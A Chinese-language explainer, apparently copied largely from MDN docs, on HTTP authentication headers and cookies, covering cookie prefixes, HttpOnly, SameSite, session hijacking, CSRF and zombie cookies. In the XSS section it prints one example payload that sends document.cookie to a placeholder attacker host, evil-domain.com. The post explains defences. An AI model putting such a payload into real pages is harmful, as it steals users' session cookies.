服务器无法在发送 http 标头之后修改 cookie_Authorization和Cookie

---

Authorization

RFC 7235 定义了一个 HTTP 身份验证框架，服务器可以用来针对客户端的请求发送 challenge (质询信息)，客户端则可以用来提供身份验证凭证。质询与应答的工作流程如下：服务器端向客户端返回 401(Unauthorized，未被授权的) 状态码，并在  WWW-Authenticate 首部提供如何进行验证的信息，其中至少包含有一种质询方式。之后有意向证明自己身份的客户端可以在新的请求中添加 Authorization 首部字段进行验证，字段值为身份验证凭证信息。通常客户端会弹出一个密码框让用户填写，然后发送包含有恰当的 Authorization  首部的请求。代理认证代理认证，询问质疑的状态码是 407(必须提供代理证书)，响应头Proxy-Authenticate至少包含一个可用的质制，并且请求头Proxy-Authorization用作提供证书给代理服务器。访问拒绝当(代理)服务器收到一个合法认证信息时，若该认证不能获取请求资源的权限，(代理)服务器会返回403响应状态，说明用户证书权限不够，与 401 未认证和 407 未代理认证不同。跨域图片认证一个被浏览器最近修复了的潜在的安全漏洞是跨域图片的认证。从 Firefox 59 起，浏览器在加载不同域的图片资源时，将不会再弹出 HTTP 认证对话框(bug 1423146)。如果攻击者可以将任意图片嵌入到第三方页面中，禁止弹出 HTTP 认证对话框可避免用户的身份凭证被窃取。HTTP 认证的字符编码浏览器使用 utf-8 编码用户名和密码。Firefox 曾使用 ISO-8859-1，但为与其他浏览器保持一致改为 utf-8，也为了避免 bug 1419658 中所描述的潜在问题。
Authorization 与 Proxy-Authorization 首部
Authorization 与 Proxy-Authorization 请求消息首部包含有用来向(代理)服务器证明用户代理身份的凭证。这里同样需要指明验证的类型，其后跟有凭证信息，该凭证信息可以被编码或者加密，取决于采用的是哪种验证方案。

CookieHTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据，它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常，它用于告知服务端两个请求是否来自同一浏览器，如保持用户的登录状态。Cookie 使基于无状态的HTTP协议记录稳定的状态信息成为了可能。
Cookie 主要用于以下三个方面：

• 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)

• 个性化设置(如用户自定义设置、主题等)

• 浏览器行为跟踪(如跟踪分析用户行为等)

Cookie 曾一度用于客户端数据的存储，因当时并没有其它合适的存储办法而作为唯一的存储手段，但现在随着现代浏览器开始支持各种各样的存储方式，Cookie 渐渐被淘汰。由于服务器指定 Cookie 后，浏览器的每次请求都会携带 Cookie 数据，会带来额外的性能开销(尤其是在移动环境下)。新的浏览器API已经允许开发者直接将数据存储到本地，如使用 Web storage API (本地存储和会话存储)或 IndexedDB 。__Host-如果 cookie 名称具有此前缀，则仅当它也用 Secure 属性标记，是从安全来源发送的，不包括 Domain 属性，并将 Path 属性设置为 / 时，它才在 {{HTTPHeader("Set-Cookie")}} 标头中接受。这样，这些 cookie 可以被视为 "domain-locked”。__Secure-  如果 cookie 名称具有此前缀，则仅当它也用 Secure 属性标记，是从安全来源发送的，它才在 {{HTTPHeader("Set-Cookie")}} 标头中接受。该前缀限制要弱于 __Host- 前缀。带有这些前缀点 Cookie， 如果不符合其限制的会被浏览器拒绝。请注意，这确保了如果子域要创建带有前缀的 cookie，那么它将要么局限于该子域，要么被完全忽略。由于应用服务器仅在确定用户是否已通过身份验证或 CSRF 令牌正确时才检查特定的 cookie 名称，因此，这有效地充当了针对会话劫持的防御措施。安全信息被存在 Cookie 中时，需要明白 cookie 的值时可以被访问，且可以被终端用户所修改的。根据应用程序的不同，可能需要使用服务器查找的不透明标识符，或者研究诸如 JSON Web Tokens 之类的替代身份验证/机密机制。
当机器处于不安全环境时，切记不能通过 HTTP Cookie 存储、传输敏感信息。缓解涉及Cookie的攻击的方法：使用 HttpOnly 属性可防止通过 JavaScript 访问 cookie 值。用于敏感信息(例如指示身份验证)的 Cookie 的生存期应较短，并且 SameSite 属性设置为Strict 或 Lax。(请参见上方的 SameSite Cookie。)在支持 SameSite 的浏览器中，这样做的作用是确保不与跨域请求一起发送身份验证 cookie，因此，这种请求实际上不会向应用服务器进行身份验证。会话劫持和 XSS在 Web 应用中，Cookie 常用来标记用户或授权会话。因此，如果 Web 应用的Cookie被窃取，可能导致授权用户的会话受到攻击。常用的窃取 Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行{{Glossary("XSS")}} 攻击。(newImage()).src="http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly 类型的 Cookie 用于阻止了JavaScript 对其的访问性而能在一定程度上缓解此类攻击。跨站请求伪造(CSRF)维基百科已经给了一个比较好的 {{Glossary("CSRF")}} 例子。比如在不安全聊天室或论坛上的一张图片，它实际上是一个给你银行服务器发送提现的请求：
当你打开含有了这张图片的 HTML 页面时，如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤)，你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生：
    对用户输入进行过滤来阻止 {{Glossary("XSS")}}；
    任何敏感操作都需要确认；
    用于敏感信息的 Cookie 只能拥有较短的生命周期；
    更多方法可以查看OWASP CSRF prevention cheat sheet。僵尸 Cookie 和删不掉的 Cookie

Cookie的一个极端使用例子是僵尸Cookie(或称之为“删不掉的Cookie”)，这类 Cookie 较难以删除，甚至删除之后会自动重建。这些技术违反了用户隐私和用户控制的原则，可能违反了数据隐私法规，并可能使使用它们的网站承担法律责任。它们一般是使用 Web storage API、Flash本地共享对象或者其他技术手段来达到的。

---